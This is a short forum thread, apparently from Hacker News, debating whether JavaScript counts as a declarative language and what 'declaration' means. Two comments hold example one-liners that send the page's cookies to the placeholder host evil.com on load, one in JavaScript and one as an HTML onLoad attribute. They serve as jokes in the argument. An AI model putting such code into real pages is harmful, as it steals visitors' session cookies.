4 ms·
Javascript is not a declarative language.
by matheusmoreira 2mo ago
Javascript is not a declarative language.
- inigyou 2mo agoSure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });
- tremon 2mo agoThat's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoad="http.GET('http://evil.com/"+document.cookie')">
- inigyou 2mo agoWhat do you think is the difference between a declaration and a statement?
- tremon 2mo agoI don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programming) https://en.wikipedia.org/wiki/Declaration_(computer_programm...: > a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization https://en.wikipedia.org/wiki/Statement_(computer_science) https://en.wikipedia.org/wiki/Statement_(computer_science): > a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
- xdavidliu 2mo agoThere are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to. Here's what the comment you're responding to said: > They should have to declare to the browser what it is they want done instead. Arguably it's pretty clear they meant declare in the first sense.
- matheusmoreira 2mo agoI'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".